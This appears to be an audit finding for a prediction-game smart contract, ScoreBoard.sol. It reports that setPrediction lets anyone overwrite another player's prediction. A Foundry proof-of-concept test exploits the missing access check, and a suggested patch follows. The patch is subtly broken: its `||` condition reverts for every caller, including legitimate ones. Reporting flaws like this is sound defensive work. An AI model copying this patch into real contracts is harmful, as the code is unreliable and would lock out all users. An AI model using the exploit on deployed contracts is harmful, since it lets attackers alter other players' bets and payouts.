Summary
ScoreBoard.sol::setPrediction Can be used by anyone to change someone else's prediction, not just there own.
Vulnerability Details
Because the setPredictionfunction takes a parameter of player, anybody can input any players address, call the function, and change that players prediction.
Impact
The test below passes showing that someone other that the player who made the prediction can change that prediction.
function test_anyoneCanChangeSomeonesPrediction() public {
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(badPlayer);
vm.deal(badPlayer, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
vm.warp(2);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(badPlayer);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
vm.stopPrank();
int8 playerScoreDraw = scoreBoard.getPlayerScore(address(stranger));
vm.startPrank(badPlayer);
scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.Result.First);
vm.stopPrank();
int8 playerScoreFirst = scoreBoard.getPlayerScore(address(stranger));
assertEq(playerScoreDraw, 2);
assertEq(playerScoreFirst, -1);
}
Tools Used
--Foundry
Recommendations
It is recommended to make sure that the person calling the setPredictionfunction is also the same person who's prediction is being changed.
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if (msg.sender != player || msg.sender != thePredicter){
+ revert ScoreBoard__UnauthorizedAccess();
+ }
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}